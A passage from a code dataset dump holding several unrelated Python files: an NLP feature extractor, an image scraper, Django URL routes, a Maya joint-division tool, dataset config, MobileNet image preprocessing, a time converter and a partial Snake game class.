'constant')\n #FAM = np.pad(FAM,(0,remain),mode = 'constant')\n #IMG = np.pad(IMG,(0,remain),mode = 'constant')\n if len(AoA) == 0:\n AoA =[0]\n if len(FAM) == 0:\n FAM =[0]\n if len(IMG) == 0:\n IMG =[0]\n\n return [np.average(AoA),np.average(IMG),np.average(FAM), np.std(AoA),np.std(IMG),np.std(FAM)]\n\ndef normsWarriner(token):\n\n VMS=[]\n AMS=[]\n DMS=[]\n for i in token:\n if i in Warriner_words:\n v,a,d=Warriner[Warriner_words[i]][2], Warriner[Warriner_words[i]][5], Warriner[Warriner_words[i]][8]\n VMS.append(float(v))\n AMS.append(float(a))\n DMS.append(float(d))\n #print(VMS)\n #remain = len(token) - len(VMS)\n #VMS = np.pad(VMS,(0,remain),mode ='constant')\n #AMS = np.pad(AMS,(0,remain),mode ='constant')\n #DMS = np.pad(DMS,(0,remain),mode ='constant')\n if len(AMS) == 0:\n AMS = [0]\n if len(VMS) == 0:\n VMS = [0]\n if len(DMS) == 0:\n DMS = [0]\n\n return [np.average(VMS),np.average(AMS),np.average(DMS), np.std(VMS),np.std(AMS),np.std(DMS)]\n\n\n'''\n\n\ndef normsBGL(token):\n AoA=[]\n FAM=[]\n IMG=[]\n for i in token:\n if i in BGL[\"WORD\"].values:\n x=(BGL.loc[BGL[\"WORD\"] == i].index.values[0])\n AoA.append(BGL.iloc[x,\"AoA (100-700)\"])\n FAM.append(BGL.iloc[x,\"FAM\"])\n IMG.append(BGL.iloc[x,\"IMG\"])\n else:\n AoA.append(0)\n FAM.append(0)\n IMG.append(0)\n return [np.average(AoA),np.average(IMG),np.average(FAM), np.std(AoA),np.std(IMG),np.std(FAM)]\n\ndef normsWarriner(token):\n VMS=[]\n AMS=[]\n DMS=[]\n\n for i in token:\n if i in Warriner[\"Word\"].values:\n x=(Warriner.loc[Warriner[\"Word\"] == i].index.values[0])\n VMS.append(Warriner.iloc[x,\"V.Mean.Sum\"])\n AMS.append(Warriner.iloc[x,\"A.Mean.Sum\"])\n DMS.append(Warriner.iloc[x,\"D.Mean.Sum\"])\n else:\n VMS.append(0)\n AMS.append(0)\n DMS.append(0)\n return [np.average(VMS),np.average(AMS),np.average(DMS), np.std(VMS),np.std(AMS),np.std(DMS)]\n\n'''\n\ndef extract1(comment):\n ''' This function extracts features from a single comment\n\n Parameters:\n comment : string, the body of a comment (after preprocessing)\n\n Returns:\n feats : numpy Array, a 173-length vector of floating point features (only the first 29 are expected to be filled, here)\n ''' \n # TODO: Extract features that rely on capitalization.\n # TODO: Lowercase the text in comment. Be careful not to lowercase the tags. (e.g. \"Dog/NN\" -> \"dog/NN\").\n # TODO: Extract features that do not rely on capitalization.\n #print(comment)\n feats = np.zeros((29,))\n words = comment.split()\n token = []\n tags = []\n for word in words:\n split_word = word.split(\"/\")\n tags.append(split_word[1])\n token.append(split_word[0])\n feats[0] = len([letter for letter in token if (letter.isupper() and len(letter) >= 3)])\n token_lower =[letter.lower() for letter in token]\n feats[1] = len([letter for letter in token_lower if letter in FIRST_PERSON_PRONOUNS])\n feats[2] = len([letter for letter in token_lower if letter in SECOND_PERSON_PRONOUNS])\n feats[3] = len([letter for letter in token_lower if letter in THIRD_PERSON_PRONOUNS])\n feats[4] = len([tag for tag in tags if tag == \"CC\"])\n feats[5] = len([tag for tag in tags if tag in [\"VBD\" , \"VBN\"]])\n feats[6] = 0 #FUTURE TENSE,complete it\n feats[7] = len([letter for letter in token_lower if letter == \",\"])\n feats[8] = len([tag for tag in tags if tag in punctations]) #Check this, it may be incorrect\n feats[9] = len([tag for tag in tags if tag in [\"NN\" , \"NNS\"]])\n feats[10] = len([tag for tag in tags if tag in [\"NNP\", \"NNPS\"]])\n feats[11] = len([tag for tag in tags if tag in [\"RB\" , \"RBR\" , \"RBS\"]])\n feats[12] = len([tag for tag in tags if tag in [\"WP\", \"WDT\", \"WP$\", \"WRB\" ]])\n feats[13] = len([letter for letter in token_lower if letter in SLANG])\n sentences = comment.split(\"\\n\")\n #print(sentences)\n feats[14] = np.average([len(sentence.split()) for sentence in sentences if sentence != []])\n feats[15] = np.average([len(word) if tags[number] not in punctations else 0 for number,word in enumerate(token) ])\n feats[16] = len(sentences) - 1\n\n feats[17:23] = normsBGL(token_lower)\n feats[23:29] = normsWarriner(token_lower)\n #print(feats[17:29])\n return feats\n\n\ndef extract2(feats, comment_class, comment_id):\n ''' This function adds features 30-173 for a single comment.\n\n Parameters:\n feats: np.array of length 173\n comment_class: str in {\"Alt\", \"Center\", \"Left\", \"Right\"}\n comment_id: int indicating the id of a comment\n\n Returns:\n feats : numpy Array, a 173-length vector of floating point features (this \n function adds feature 30-173). This should be a modified version of \n the parameter feats.\n ''' \n #We can also use a switcher but i think that will be a overkill for this\n if comment_class == 'Left':\n feats[29:173] = left_data[left_id[comment_id]]\n feats[173] = 0\n elif comment_class == 'Right':\n feats[29:173] = right_data[right_id[comment_id]]\n feats[173] = 1\n elif comment_class == 'Alt':\n feats[29:173] = alt_data[alt_id[comment_id]]\n feats[173] = 2\n elif comment_class == 'Center':\n feats[29:173] = center_data[center_id[comment_id]]\n feats[173] = 3\n\n return feats\n\ndef main(args):\n data = json.load(open(args.input))\n feats = np.zeros((len(data), 173+1))\n print(len(data))\n # TODO: Use extract1 to find the first 29 features for each\n # data point. Add these to feats.\n for i,line in enumerate(data):\n line = json.loads(line)\n #print(line['body'])\n comment = line['body']\n if len(comment) > 0:\n feats[i][0:29] = extract1(comment)\n else:\n feats[i][0:29] = [0]*29\n\n feats[i] = extract2(feats[i],line['cat'],line['id'])\n\n\n # TODO: Use extract2 to copy LIWC features (features 30-173)\n # into feats. (Note that these rely on each data point's class,\n # which is why we can't add them in extract1).\n print('TODO')\n\n np.savez_compressed(args.output, feats)\n\n \nif __name__ == \"__main__\": \n parser = argparse.ArgumentParser(description='Process each .')\n parser.add_argument(\"-o\", \"--output\", help=\"Directs the output to a filename of your choice\", required=True)\n parser.add_argument(\"-i\", \"--input\", help=\"The input JSON file, preprocessed as in Task 1\", required=True)\n parser.add_argument(\"-p\", \"--a1_dir\", help=\"Path to csc401 A1 directory. By default it is set to the cdf directory for the assignment.\", default=\"/u/cs401/A1/\")\n args = parser.parse_args() \n\n main(args)\n\n","sub_path":"code/a1_extractFeatures.py","file_name":"a1_extractFeatures.py","file_ext":"py","file_size_in_byte":10357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135785982","text":"# 可以存储视频,图片,音乐\r\n# 1 打开文件方式 open filename wb as f : f.write()\r\nfrom urllib import request\r\n# 音频文件下载,也支持远程的数据下载\r\n# url, filename=None, reporthook=None, data=None\r\n# url 是一个下载url地址,不是详情页地址\r\n# filename 是数据存储路径 + 文件名\r\n# reporthook 回调函数,连上服务器时,传输下载完毕时,触发该回调函数(显示当前的下载进度)\r\n# data post的服务器到服务器,返回一个元祖(filename,headers)\r\nimport requests\r\nfrom lxml import etree\r\nimport os\r\n\r\nurl = 'http://www.ivsky.com/tupian/ziranfengguang/'\r\nheaders = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'\r\n}\r\n\r\ndef Schedule(blocknum,blocksize,totalsize):\r\n '''\r\n 显示下载进度\r\n :param blocknum: 已经下载的数据块\r\n :param blocksize: 数据块的大小\r\n :param totalsize: 数据远程文件大小\r\n :return:\r\n '''\r\n per = 100.0*blocknum*blocksize/totalsize\r\n if per > 100:\r\n per = 100\r\n print(\"当前下载进度为:{}\".format(per))\r\n\r\nreq = requests.get(url=url, headers=headers)\r\nhtml = etree.HTML(req.text)\r\nimg = html.xpath(\"//div[@class='il_img']/a/img/@src\")\r\n# print(img)\r\nfor i in img:\r\n root_dir = 'img'\r\n if not os.path.exists(root_dir):\r\n os.mkdir(root_dir)\r\n filenames = i.split('/')[-1]\r\n # print(i)\r\n print(root_dir+'/'+filenames)\r\n request.urlretrieve(i, root_dir+'/'+filenames ,Schedule)\r\n\r\n\r\n\r\n","sub_path":"fyxemmmm/haikeyi/videofile.py","file_name":"videofile.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"228407745","text":"from django.urls import path\r\n\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path('index', views.index),\r\n path('content', views.content),\r\n path('contentHandle', views.contentHandle),\r\n path('selectcontentHandle', views.selectcontentHandle),\r\n path('contentlist', views.contentlist),\r\n path('addcontentlist', views.addcontentlist),\r\n path('addcontent', views.addcontent),\r\n path('delcontentHandle', views.delcontentHandle),\r\n path('btnclickaddHandle', views.btnclickaddHandle),\r\n path('menu', views.menu),\r\n path('menuHandle', views.menuHandle),\r\n path('menulist', views.menulist),\r\n path('recommend', views.recommend),\r\n path('recommendHandle', views.recommendHandle),\r\n path('recommendlist', views.recommendlist),\r\n path('delrecommendHandle', views.delrecommendHandle),\r\n path('addrecommendlist', views.addrecommendlist),\r\n path('addrecommendlistHandle', views.addrecommendlistHandle),\r\n path('admin', views.admin),\r\n path('adminHandle', views.adminHandle),\r\n path('adminlist', views.adminlist),\r\n path('deladminHandle', views.deladminHandle),\r\n path('login', views.login),\r\n path('loginHandle', views.loginHandle),\r\n path('delHandle', views.delHandle),\r\n path('indexHandle', views.indexHandle),\r\n]","sub_path":"untitled11/server/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"527395789","text":"import maya.cmds as cmds\nfrom functools import partial\nimport sys\n\nclass divideJoints:\n def __init__(self, *args):\n self.getSettings()\n if self.recon == 1:\n self.reconstruct()\n self.divide(self.divisions)\n \n def getSettings(self,*args):\n if cmds.optionVar(exists = 'kT_jDT_divisions') == 0:\n cmds.optionVar(intValue = ('kT_jDT_divisions', 2))\n self.divisions = cmds.optionVar(query = 'kT_jDT_divisions')\n \n self.divisions = cmds.optionVar(query = 'kT_jDT_divisions')\n \n if cmds.optionVar(exists = 'kT_jDT_reconstruct') == 0:\n cmds.optionVar(intValue = ('kT_jDT_reconstruct', 0))\n self.recon = cmds.optionVar(query = 'kT_jDT_reconstruct')\n \n self.recon = cmds.optionVar(query = 'kT_jDT_reconstruct')\n \n if cmds.optionVar(exists = 'kT_jDT_pTolerance') == 0:\n cmds.optionVar(floatValue = ('kT_jDT_pTolerance', 0.001))\n self.pTolerance = cmds.optionVar(query = 'kT_jDT_pTolerance')\n \n self.pTolerance = cmds.optionVar(query = 'kT_jDT_pTolerance')\n \n def divide(self,*args):\n \n srcJnts = cmds.ls(sl=True, type = \"joint\")\n \n if len(srcJnts) < 1:\n cmds.warning(\"No Bones Selected..\")\n sys.exit()\n \n for jnt in srcJnts:\n cJnt = [jnt]\n srcJntRadius = cmds.getAttr(jnt+\".radius\")\n chJnt = cmds.listRelatives(jnt, type = \"joint\", children = True)\n chJntTranslate = cmds.getAttr(chJnt[0]+'.translate')\n \n if chJntTranslate[0][0] >= 1:\n if chJntTranslate[0][1] <= self.pTolerance and chJntTranslate[0][1] >= -self.pTolerance and chJntTranslate[0][2] <= self.pTolerance and chJntTranslate[0][2] >= -self.pTolerance:\n jntOrientation = 'X'\n jntDivLength = chJntTranslate[0][0] / (self.divisions+1)\n chJntNewTranslate = [jntDivLength,0,0]\n else:\n cmds.warning('Non-Planar Joints')\n sys.exit()\n elif chJntTranslate[0][1] != 0:\n if chJntTranslate[0][0] <= self.pTolerance and chJntTranslate[0][0] >= -self.pTolerance and chJntTranslate[0][2] <= self.pTolerance and chJntTranslate[0][2] >= -self.pTolerance:\n jntOrientation = 'Y'\n jntDivLength = chJntTranslate[0][1] / (self.divisions+1)\n chJntNewTranslate = [0,jntDivLength,0]\n else:\n cmds.warning('Non-Planar Joints')\n sys.exit()\n elif chJntTranslate[0][2] >= 0.1 or chJntTranslate[0][2] <= -0.1:\n if chJntTranslate[0][0] <= self.pTolerance and chJntTranslate[0][0] >= -self.pTolerance and chJntTranslate[0][1] <= self.pTolerance and chJntTranslate[0][1] >= -self.pTolerance:\n jntOrientation = 'Z'\n jntDivLength = chJntTranslate[0][2] / (self.divisions+1)\n chJntNewTranslate = [0,0,jntDivLength]\n else:\n cmds.warning('Non-Planar Joints')\n sys.exit()\n \n for j in xrange(self.divisions):\n cmds.joint(cJnt[0], r = True, p=chJntNewTranslate, o=[0,0,0], rad = srcJntRadius)\n cJnt = cmds.pickWalk(direction='down')\n \n cmds.parent(chJnt[0], cJnt[0])\n cmds.joint(cJnt[0], e = True, r = True, p = chJntNewTranslate)\n \n cmds.select(srcJnts[0])\n \n def reconstruct(self,*args):\n srcJnts = cmds.ls(sl=True, type = \"joint\")\n child = -1\n parent = None\n \n if len(srcJnts) == 1:\n srcChildren = cmds.listRelatives(srcJnts[0], ad = True)\n srcChildrenLen = len(srcChildren)-1\n \n cmds.parent(srcChildren[0], w = True)\n \n for i in xrange(srcChildrenLen):\n cmds.delete(srcChildren[i+1])\n \n cmds.parent(srcChildren[0], srcJnts[0])\n cmds.select(srcJnts[0])\n elif len(srcJnts) == 2:\n srcChildren = cmds.listRelatives(srcJnts[0], ad = True)\n srcChildrenLen = len(srcChildren)\n child = -1\n \n for i in xrange(srcChildrenLen):\n if srcJnts[1] == srcChildren[i]:\n child = 1\n parent = 0\n \n if child == -1:\n child = 0\n parent = 1\n \n cmds.parent(srcJnts[child], w = True)\n srcChildren = cmds.listRelatives(srcJnts[parent], ad = True)\n srcChildrenLen = len(srcChildren)\n \n for p in xrange(srcChildrenLen):\n cmds.delete(srcChildren[p])\n \n cmds.parent(srcJnts[child], srcJnts[parent])\n cmds.select(srcJnts[parent])\n \n \nclass jointDivisionUI(object):\n def __init__(self):\n self.winname = 'x8'\n self.buildUI()\n \n \n def getSettings(self,*args):\n if cmds.optionVar(exists = 'kT_jDT_divisions') == 0:\n cmds.optionVar(intValue = ('kT_jDT_divisions', 2))\n self.divisions = cmds.optionVar(query = 'kT_jDT_divisions')\n \n self.divisions = cmds.optionVar(query = 'kT_jDT_divisions')\n \n if cmds.optionVar(exists = 'kT_jDT_reconstruct') == 0:\n cmds.optionVar(intValue = ('kT_jDT_reconstruct', 0))\n self.reconstruct = cmds.optionVar(query = 'kT_jDT_reconstruct')\n \n self.reconstruct = cmds.optionVar(query = 'kT_jDT_reconstruct')\n \n if cmds.optionVar(exists = 'kT_jDT_pTolerance') == 0:\n cmds.optionVar(floatValue = ('kT_jDT_pTolerance', 0.001))\n self.pTolerance = cmds.optionVar(query = 'kT_jDT_pTolerance')\n \n self.pTolerance = cmds.optionVar(query = 'kT_jDT_pTolerance')\n \n \n def buildUI(self,*args):\n if cmds.window(self.winname, exists=True):\n self.closeUI()\n \n self.getSettings()\n\n divWin = cmds.window(self.winname, title = 'Joint Division Tool', rtf = True, width = 270, minimizeButton=False,\n maximizeButton=False, sizeable=False)\n \n cmds.columnLayout(adjustableColumn = True)\n menuBarLayout = cmds.menuBarLayout()\n cmds.menu(label='Edit')\n cmds.menuItem(label='Reset Settings', command = partial(self.resetSettings))\n cmds.setParent('..')\n cmds.frameLayout(label='', borderStyle='etchedIn',lv=False, cll = False, w=260)\n cmds.separator(style='none')\n cmds.rowLayout(numberOfColumns=2, columnWidth2=(120, 80), adjustableColumn=2, columnAlign=(1, 'right'), ct2=['both','both'], co2=[0,5])\n cmds.text('n_txt_divisions',label = 'Divisions:', ann = \"The number of new joints to create per each selected joint\")\n cmds.intField('n_iF_divisions', v = self.divisions)\n cmds.setParent('..')\n cmds.separator(style='none')\n cmds.setParent('..')\n \n cmds.frameLayout(label='', borderStyle='etchedIn',lv=False)\n cmds.separator(style='none')\n cmds.rowLayout(numberOfColumns=2, columnWidth2=(120, 80), adjustableColumn=2, columnAlign=(1, 'right'), ct2=['both','both'], co2=[0,5])\n cmds.text(label = 'Reconstruct Chain:', ann = \"Removes the joints between the current selection and builds a new chain with the specified number of joints\")\n cmds.checkBox('n_cB_reconstruct', label = \"\", v = self.reconstruct)\n cmds.setParent( '..' )\n cmds.separator(style='none')\n cmds.setParent('..') \n \n cmds.frameLayout(label='', borderStyle='etchedIn',lv=False)\n cmds.separator(style='none')\n cmds.rowLayout(numberOfColumns=2, columnWidth2=(120, 80), adjustableColumn=2, columnAlign=(1, 'right'), ct2=['both','both'], co2=[0,5])\n cmds.text(label = 'Planar Tolerance:', ann = \"The variance allowed in the two non-primary orient axis before the chain is considered non-planar\")\n cmds.floatField('n_fF_pTolerance', v = self.pTolerance)\n cmds.setParent( '..' )\n cmds.separator(style='none')\n cmds.setParent('..') \n \n \n #Add in bottom button row\n cmds.rowLayout( numberOfColumns=3, columnWidth3=(88,88,88), adjustableColumn=3, columnAlign=(1, 'right'), ct3=['both','both','both'], co3=[0,0,0])\n cmds.button(label = \"Divide\", command = partial(self.divide))\n cmds.button(label = \"Apply\", command = partial(self.apply))\n cmds.button(label = \"Close\", command = partial(self.closeUI))\n cmds.setParent( '..' )\n \n cmds.showWindow(divWin)\n \n def closeUI(self,*args):\n cmds.deleteUI(self.winname)\n \n def divide(self,*args):\n cmds.optionVar(intValue=['kT_jDT_divisions', cmds.intField('n_iF_divisions', query=True, v = True)])\n cmds.optionVar(intValue=['kT_jDT_reconstruct', cmds.checkBox('n_cB_reconstruct', query = True, v= True)])\n cmds.optionVar(floatValue=['kT_jDT_pTolerance', cmds.floatField('n_fF_pTolerance', query = True, v= True)])\n \n divideJoints()\n \n self.closeUI()\n \n def apply(self,*args):\n cmds.optionVar(intValue=['kT_jDT_divisions', cmds.intField('n_iF_divisions', query=True, v = True)])\n cmds.optionVar(intValue=['kT_jDT_reconstruct', cmds.checkBox('n_cB_reconstruct', query = True, v= True)])\n cmds.optionVar(floatValue=['kT_jDT_pTolerance', cmds.floatField('n_fF_pTolerance', query = True, v= True)])\n \n divideJoints()\n \n def resetSettings(self,*args):\n cmds.optionVar(intValue=['kT_jDT_divisions', 2])\n cmds.optionVar(intValue=['kT_jDT_reconstruct', 0])\n cmds.optionVar(floatValue=['kT_jDT_pTolerance', 0.001])\n \n cmds.intField('n_iF_divisions', edit=True, v = 2)\n cmds.checkBox('n_cB_reconstruct', edit = True, v = 0)\n cmds.floatField('n_fF_pTolerance', edit = True, v = 0.001)\n ","sub_path":"Maya/kTMaya/kTRigging/kT_jointDivisionTool.py","file_name":"kT_jointDivisionTool.py","file_ext":"py","file_size_in_byte":10235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"257999516","text":"DEFAULT = 0\nTRAIN = 1\nTEST = 2\nVAL = 3\n\nNORMAL = 0 # NORMAL/WEIRD: weird for synthetic word dict\nWEIRD = 1\n\nSPLIT = TEST # control through this\nMODE = WEIRD\nPOSTFIX = 0\n\n\nDATA_DIR = \"/hd/SynthText_kr/assets/\"\n\nRESULT_DIRS = [\"./\",\n \"train/\",\n \"test/\",\n \"val/\"]\nRESULT_ROOT = \"/hd/SynthText_kr/results/\"\nRESULT_DIR = RESULT_ROOT + RESULT_DIRS[SPLIT]\n\nFONT_LIST_FILES = [\"fontlist.txt\",\n \"fontlist_train.txt\",\n \"fontlist_test.txt\",\n \"fontlist_val.txt\"]\nFONT_LIST_FILE = FONT_LIST_FILES[SPLIT]\n\nFONT_MODEL_FILES = [\"font_px2pt.cp\",\n \"font_px2pt_train.cp\",\n \"font_px2pt_test.cp\",\n \"font_px2pt_val.cp\"]\nFONT_MODEL_FILE = FONT_MODEL_FILES[SPLIT]\n\nDICTIONARY_FILES = [[\"newsgroup/newsgroup.txt\", \"newsgroup/newsgroup.txt\"],\n [\"dictionary/train.txt\", \"dictionary/train_weird.txt\"],\n [\"dictionary/test.txt\", \"dictionary/test_weird.txt\"],\n [\"dictionary/val.txt\", \"dictionary/val_weird.txt\"]]\nDICTIONARY_FILE = DICTIONARY_FILES[SPLIT][MODE] \n\nPREFIXES = [[\"default\", \"default\"],\n [\"train\", \"train_weird\"],\n [\"test\", \"test_weird\"],\n [\"val\", \"val_weird\"]]\nPREFIX = PREFIXES[SPLIT][MODE]\n\n# train : test : val = 7 : 2 : 1\nSTART_IMG_IDXES = [4400, 0, 5607, 7209]\nSTART_IMG_IDX = START_IMG_IDXES[SPLIT]\n\nNUM_IMGES = [-1, 5607, 1602, 801]\nNUM_IMG = NUM_IMGES[SPLIT] # -1 for all\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"468076194","text":"#\n# Copyright (c) 2018 cTuning foundation.\n# See CK COPYRIGHT.txt for copyright details.\n#\n# SPDX-License-Identifier: BSD-3-Clause.\n# See CK LICENSE.txt for licensing details.\n#\n\nimport os\nimport re\nimport json\nimport shutil\nimport numpy as np\nimport scipy.io\nfrom scipy.ndimage import zoom\n\ndef recreate_dir(d):\n if os.path.isdir(d):\n shutil.rmtree(d)\n os.mkdir(d)\n\ndef ck_preprocess(i):\n print('\\n--------------------------------')\n def my_env(var): return i['env'][var]\n def dep_env(dep, var): return i['deps'][dep]['dict']['env'][var]\n\n # Init variables from environment\n BATCH_COUNT = int(my_env('CK_BATCH_COUNT'))\n BATCH_SIZE = int(my_env('CK_BATCH_SIZE'))\n IMAGES_COUNT = BATCH_COUNT * BATCH_SIZE\n SKIP_IMAGES = int(my_env('CK_SKIP_IMAGES'))\n IMAGE_DIR = dep_env('imagenet-val', 'CK_ENV_DATASET_IMAGENET_VAL')\n IMAGE_SIZE = int(dep_env('weights', 'CK_ENV_MOBILENET_RESOLUTION'))\n MODE_SUFFIX = '-{}-{}-{}'.format(IMAGE_SIZE, BATCH_SIZE, BATCH_COUNT)\n IMAGE_LIST = my_env('CK_IMAGE_LIST') + MODE_SUFFIX + '.txt'\n BATCHES_DIR = my_env('CK_BATCHES_DIR') + MODE_SUFFIX\n BATCH_LIST = my_env('CK_BATCH_LIST') + MODE_SUFFIX + '.txt'\n RESULTS_DIR = my_env('CK_RESULTS_DIR')\n PREPARE_ALWAYS = my_env('CK_PREPARE_ALWAYS')\n IMAGE_FILE = my_env('CK_IMAGE_FILE')\n\n # Single file mode\n if IMAGE_FILE:\n assert os.path.isfile(IMAGE_FILE)\n PREPARE_ALWAYS = 'YES'\n BATCH_COUNT = 1\n BATCH_SIZE = 1\n IMAGES_COUNT = 1\n SKIP_IMAGES = 0\n IMAGE_DIR, IMAGE_FILE = os.path.split(IMAGE_FILE)\n print('Single file mode')\n print('Image file: {}'.format(IMAGE_FILE))\n\n print('Batch size: {}'.format(BATCH_SIZE))\n print('Batch count: {}'.format(BATCH_COUNT))\n print('Batch list: {}'.format(BATCH_LIST))\n print('Skip images: {}'.format(SKIP_IMAGES))\n print('Image dir: {}'.format(IMAGE_DIR))\n print('Image list: {}'.format(IMAGE_LIST))\n print('Image size: {}'.format(IMAGE_SIZE))\n print('Batches dir: {}'.format(BATCHES_DIR))\n print('Results dir: {}'.format(RESULTS_DIR))\n\n\n def prepare_batches():\n print('\\nPrepare images...')\n\n # Load processing image filenames\n images = []\n if IMAGE_FILE:\n # Single file mode\n images.append(IMAGE_FILE)\n else:\n # Directory mode\n assert os.path.isdir(IMAGE_DIR), 'Input dir does not exit'\n files = [f for f in os.listdir(IMAGE_DIR) if os.path.isfile(os.path.join(IMAGE_DIR, f))]\n files = [f for f in files if re.search(r'\\.jpg$', f, re.IGNORECASE)\n or re.search(r'\\.jpeg$', f, re.IGNORECASE)]\n assert len(files) > 0, 'Input dir does not contain image files'\n files = sorted(files)[SKIP_IMAGES:]\n assert len(files) > 0, 'Input dir does not contain more files'\n images = files[:IMAGES_COUNT]\n if len(images) < IMAGES_COUNT:\n for _ in range(IMAGES_COUNT-len(images)):\n images.append(images[-1])\n\n # Save image list file\n assert IMAGE_LIST, 'Image list file name is not set'\n with open(IMAGE_LIST, 'w') as f:\n for img in images:\n f.write('{}\\n'.format(img))\n\n dst_images = []\n\n for img_file in images:\n src_img_path = os.path.join(IMAGE_DIR, img_file)\n dst_img_path = os.path.join(BATCHES_DIR, img_file) + '.npy'\n\n img = scipy.misc.imread(src_img_path)\n # check if grayscale and convert to RGB\n if len(img.shape) == 2:\n img = np.dstack((img,img,img))\n # drop alpha-channel if present\n if img.shape[2] > 3:\n img = img[:,:,:3]\n\n # The same image preprocessing steps are used for MobileNet as for Inception:\n # https://github.com/tensorflow/models/blob/master/research/slim/preprocessing/inception_preprocessing.py\n\n # Crop the central region of the image with an area containing 87.5% of the original image.\n new_w = int(img.shape[0] * 0.875)\n new_h = int(img.shape[1] * 0.875)\n offset_w = (img.shape[0] - new_w)/2\n offset_h = (img.shape[1] - new_h)/2\n img = img[offset_w:new_w+offset_w, offset_h:new_h+offset_h, :]\n\n # Zoom to target size\n zoom_w = float(IMAGE_SIZE)/float(img.shape[0])\n zoom_h = float(IMAGE_SIZE)/float(img.shape[1])\n img = zoom(img, [zoom_w, zoom_h, 1])\n\n # Each image is a batch in NCHW format\n img = img.transpose(2, 0, 1)\n img = np.expand_dims(img, 0)\n img = np.ascontiguousarray(img)\n\n np.save(dst_img_path, img)\n dst_images.append(dst_img_path)\n\n if len(dst_images) % 10 == 0:\n print('Prepared images: {} of {}'.format(len(dst_images), len(images)))\n\n # Save image list file\n assert BATCH_LIST, 'Batch list file name is not set'\n with open(BATCH_LIST, 'w') as f:\n for img in dst_images:\n f.write('{}\\n'.format(img))\n\n # Prepare results directory\n recreate_dir(RESULTS_DIR)\n\n\n # Prepare batches or use prepared\n do_prepare_batches = True\n if PREPARE_ALWAYS != 'YES':\n do_prepare_batches = False\n\n if not do_prepare_batches:\n if not os.path.isdir(BATCHES_DIR):\n do_prepare_batches = True\n\n if do_prepare_batches:\n recreate_dir(BATCHES_DIR)\n prepare_batches()\n else:\n print('\\nBatches preparation is skipped, use previous batches')\n\n print('--------------------------------\\n')\n return {'return': 0}\n\n","sub_path":"program/mobilenets-armcl-opencl/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":5234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"556745140","text":"time=float(input(\"Saniyeyi giriniz: \"))\r\n\r\n\r\ngün=time// (24*3600)\r\ntime=time %(24*3600)\r\n\r\n\r\nsaat=time//3600\r\n\r\ntime%=3600\r\n\r\ndakika= time // 60\r\nsaniye=time\r\nprint(\"G:S:D:S-->>%d:%d:%d:%d\" %(gün,saat,dakika,saniye))","sub_path":"melih.py","file_name":"melih.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"568158253","text":"from Block import Block\nfrom random import randint\nfrom typing import *\nimport pygame\n\nclass Snake(object):\n \"\"\"\n The Snake in the game. The snake will consist of a number of blocks\n\n Constants:\n MIN_LENGTH = 5: The minimum length of the snake\n MAX_LENGTH = 15: The maximum lenght of the snake, if the snake get over this length\n the game will jump to the next level and the length will come back to minimum\n BLOCK_SNAKE_SIZE = (20, 20): The size of each block making the body of the Snake\n SNAKE_COLOR = (255, 0, 0): The color of the Snake (Red)\n\n Attributes:\n length (int): The current length of the snake\n body (List[Block]): The body of the snake, which contains several Blocks object\n dead (bool): Is the Snake dead or alive\n \"\"\"\n MIN_LENGTH = 5\n SNAKE_BLOCK_SIZE = (20, 20)\n SNAKE_COLOR = (255, 0, 0)\n SCREEN_SIZE = (1000, 700)\n\n def __init__(self, board_width: int, board_height: int, length: int):\n \"\"\"\n Create a snake with the given length and at random position in the board.\n\n Attributes:\n board_width (int): The width of the window\n board_height (int): The height of the window\n \"\"\"\n x = randint(length + 1, Snake.SCREEN_SIZE[0] // Snake.SNAKE_BLOCK_SIZE[0] - 1)\n y = randint(1, Snake.SCREEN_SIZE[1] // Snake.SNAKE_BLOCK_SIZE[0] - 1)\n head_x = Snake.SNAKE_BLOCK_SIZE[0] * x\n head_y = Snake.SNAKE_BLOCK_SIZE[0] * y\n self._length = length\n self._dead = False\n self._body = []\n self._body.append(Block(head_x, head_y, Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE))\n for i in range(1, length):\n block = Block(head_x - i * Snake.SNAKE_BLOCK_SIZE[0], head_y, Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n self._body.append(block)\n\n def get_body(self) -> List[Tuple[int, int]]:\n \"\"\"\n Return the body of the Snake, which is a List of Block objects\n\n Args:\n None\n\n Returns:\n The list containing all the blocks making the Snake \n \"\"\"\n return self._body\n\n def get_length(self) -> int:\n \"\"\"\n Returns the current length of the Snake\n\n Args:\n None\n\n Returns: \n The current length of the Snake\n \"\"\"\n return self._length\n\n def get_head(self) -> Block:\n \"\"\"\n Returns the Block representing the head of the Snake\n \"\"\"\n\n return self._body[0]\n\n def is_dead(self) -> bool:\n \"\"\"\n Is the Snake dead or alive?\n \"\"\"\n return self._dead\n\n def move_left(self) -> None:\n \"\"\"\n Turns the current direction of the Snake to the left and returns the old tail\n\n Args:\n None\n\n Returns:\n The block representing the old tail of the snake. This block will be erase when the \n snake moves\n \"\"\"\n # Move all the blocks except for the head forward\n head_x = self._body[0].get_x()\n head_y = self._body[0].get_y()\n\n tail = self._body[self._length - 1] # Get the old tail\n \n for i in range(self._length - 1, 0, -1):\n self._body[i] = self._body[i - 1]\n\n self._body[0] = Block(head_x - Snake.SNAKE_BLOCK_SIZE[0], head_y, Snake.SNAKE_COLOR, Snake.SNAKE_BLOCK_SIZE)\n\n return tail\n \n def move_right(self) -> None:\n \"\"\"\n Turn the current direction of the Snake to the right and returns the old 